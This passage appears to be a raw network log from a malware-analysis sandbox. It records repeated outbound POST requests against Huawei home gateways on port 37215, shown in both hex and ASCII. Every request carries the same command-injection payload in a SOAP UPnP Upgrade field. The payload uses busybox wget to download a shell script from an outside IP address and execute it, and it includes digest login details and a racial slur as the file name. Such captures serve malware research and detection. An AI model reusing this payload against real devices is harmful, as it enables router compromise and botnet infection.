xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:57.872572899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:01.551955938 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.975135088 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:23.820945978 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792634964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	35580	31.136.86.201	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.524524927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.088931084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.208719015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.480456114 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
